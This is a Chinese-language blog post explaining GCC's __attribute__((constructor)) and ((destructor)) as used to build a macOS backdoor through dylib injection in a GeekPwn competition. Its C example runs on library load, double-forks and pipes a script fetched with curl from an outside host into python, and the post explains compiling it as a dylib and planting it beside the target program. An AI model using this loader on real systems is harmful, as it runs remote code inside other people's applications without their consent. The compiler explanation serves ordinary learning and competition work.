编译属性 "__attribute__" 的一些简单认识

前言

前端时间,在打geekpwn的时候,需要做后门,一开始我做的是macos的后门,用的是 macos dylib注入(劫持?)。

这里可以提一下,我这里用的是这个项目insert_dylib,曾经看过有人用这个项目,去掉了macos上企业微信的水印,所以一直有点印象。

使用方式如下:insert @executable_path src dst

最后能类似这样的一个效果:

红色框的,是我注入的dylib 程序,那么另外一个问题来了,如何让在程序启动前或者后,执行外面的代码呢?这里就是这个文章想提的一个东西。

什么是 @executable_path ?

executable_path 是macOS的链接路径的解决方案之一,除此之外还有 @loader_path 和 @rpath,具体细节不在这里表述,感兴趣可以自己搜一下。

attribute

认识

首先,什么是 attribute

__attribute__是一个编译属性,用于向编译器描述特殊的标识、错误检查或高级优化。它是GNU C特色之一,系统中有许多地方使用到。 __attribute__可以设置函数属性(Function Attribute )、变量属性(Variable Attribute )和类型属性(Type Attribute)等。

接着如何利用该编译属性达到我们想要的效果?

这里我们要认识两个编译属性

  1. attribute((constructor))
  2. attribute((destructor))

这两个带着 __attribute__ 编译属性的标识并不相同,一个是constructor 一个是 destructor。

从字面上理解 constructor 是构造器的意思,destructor 是 a refuse-burning furnace(焚化炉的意思?),我们可以简单的理解其为c++ 函数里的构造函数和析构函数,其特点就是在于:

attribute((constructor)) 确保此函数在 在main函数被调用之前调用,iOS中在+load之后main之前执行。
constructordestructor会在ELF文件中添加两个段-.ctors.dtors。当动态库或程序在加载时,会检查是否存在这两个段,如果存在执行对应的代码。

attribute((destructor)),确保此函数在 在main函数被调用之后调。

例子

我这里可以放一个,当时macos后面的一个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#import "shellme.h"


void load(){
int pid,ppid;
pid = fork();
if (pid ==0){
ppid = fork();
if (ppid == 0){
system("touch /tmp/hacker");
system("curl shellme.bestwing.me | python > /dev/null &");
// system("./shell");
}
}

}

__attribute__((constructor))int fuck(){
load();
printf("==== Hacked by chaitin ====\n");
return 0;
}

我们这里可以选择Xcode 进行编译,选择编译成dylib,或者直接 gcc test.c -shared 编译也可。

最后改成相应的名字,放到被注入的程序的对应目录里即可。